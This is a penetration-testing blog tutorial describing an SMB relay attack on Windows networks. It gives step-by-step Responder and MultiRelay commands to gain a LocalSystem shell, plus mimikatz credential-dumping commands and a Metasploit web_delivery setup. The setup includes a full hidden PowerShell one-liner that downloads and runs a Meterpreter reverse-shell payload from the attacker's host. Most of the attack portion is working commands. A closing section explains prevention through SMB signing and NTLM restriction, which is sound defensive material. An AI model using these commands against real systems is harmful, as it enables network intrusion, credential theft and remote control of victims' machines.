Menu 

SMB Relay Attack Tutorial

SMB Relay Attack Tutorial

By  – Jake Leavitt, Information Security Consultant – Intrinium 

Don’t even bother cracking NTLMv2 hashes gathered with Responder! Instead, just relay them to a target machine on the network and pop yourself into a LocalSystem shell. This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell. This tutorial will cover the basics of how to perform this attack, the tools required, and shows a demonstration against a real target. These methods are intended to be used to understand current network attacks, and how to prevent them.

Note: Target information has been redacted to conserve the privacy of our clients. 

The following conditions must be met:

  • SMB Signing disabled on target
  • Must be on the local network
  • User credentials must have remote login access

The following tools are required:

  • Responder
  • PuTTy
  • Metasploit Framework
Preparation
  • Open up two terminals
  • Modify Responder configuration

nano /usr/share/responder/Responder.conf

 

  • Turn off the SMB and HTTP servers by changing ‘On’ to ‘Off’


  • Save the file

ctrl + x | yes | enter

Step 1: Boot Up Responder

Navigate to Responder’s Installation location

cd /usr/share/responder

 

Start Responder with the proper Relay settings

python responder.py -I eth0 -rv

 

-I (capital i specifies interface) -rv (required settings for relay attack)

Responder is Running


Responder will start poisoning traffic, like so:

Now, we need to spin up our Multirelay script.

Step 2: Boot up Multi-Relay

Navigate to the Multirelay location

cd /usr/share/responder/tools

 

  • Start the MultiRelay script with the following settings:
  • -t (target IP address)
  • -u (User to relay – ALL will send any user thats captured)

python MultiRelay.py -t 123.123.123.124 -u ALL

 

  • And now we wait…..

Step 3: MultiRelay Shell

BOOM! We now have a MultiRelay shell.

You can see above that the SMB authentication session for the user ‘USER’ was captured, and successfully relayed to our target machine. USER was authorized to login remotely on this machine, so we gained access. Additionally, this script escalated priviledged for us, and we are now running as LocalSystem.

Step 4: Post-Exploitation

At this point you can shut off Responder; we don’t need it anymore.

With the shell access we have obtained, there are many actions that we can perform directly from here:

Mimikatz commands can also be performed directly from the shell. Unfortunately, the target used for this tutorial’s antivirus ate my mimikatz, but the following commands can be executed to run mimikatz, as well as the entire pallette of modules.:

Mimi sekurlsa::logonpasswords

Mimi sekurlsa::wdigest

Mimi sekurlsa::Kerberos

 

All mimikatz commands can be found in the following documentation.

If you’re happy with your level of access, you can stop here. But if you feel so inclined, you can pivot this relay shell into a full-on meterpreter shell.

Step 5: Pivoting to Meterpreter

Boot up Metasploit in another terminal

msfconsole

 

We’re going to be using a powershell web delivery method. My target is a Windows machine, but Python and PHP web delivery are also available.

use exploit/multi/script/web_delivery

 

We will be using the following module settings:

Setting Metasploit module settings

set URIPATH ‘/’

set target 2

set payload windows/x64/meterpreter/reverse_https

set LHOST your.local.i.p

set LPORT 11197 (port of your choice)

 

Now, execute the module.

exploit

 

Running Web_Delivery msf script

A background job has been generated and is waiting for incoming web connections. At this point, we just need to grab the generated powershell script, paste it into our multirelay shell, and execute. This will execute the powershell script and drop us into a Meterpreter session.

powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $T.downloadstring(‘http://10.201.205.75:8080/’);

Once executed on the relay shell, a powershell instance will be spawned that interacts with our Metasploit webserver to receive the meterpreter payload and generate a session.

Cleanup / Resources

No cleanup actions necessary.

Tools used:

Responder is a powerful tool that we use almost daily. Information can be found on their Github page

We use PuTTy for SSH sessions, which is a free SSH client, and can be found on their website.

The Metasploit framework comes pre-packaged with the Kali Linux OS, but standalone versions can be found on their website.

Prevention

The SMB Relay attack is a Man-In-The-Middle attack in which a malicious user on the local network poisons network traffic to trick the target machine/user into thinking that it is the authentication server. Thus, authentication requests flow through the attacker’s machine, unbeknownst to the victim, allowing the attacker to use the “legitimate” SMB session to pivot to other machines on the network.

A couple unique conditions must be met for this attack to work:

SMB Signing must NOT be enabled on the target machine.

The captured user’s SMB Auth session must have the priviledges to login on the target machine

This attack can effectively be prevented by combining multiple facets of security, including:

1. Forcing SMB Signing on all local windows machines. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them.

https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always

2. Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless.

3. Restrict NTLM Authentication on the local network as much as possible. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt.

4. Prevent unauthorized users on your network. An insider threat will likely not be utizilizing an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed.

Pin It on Pinterest

Share This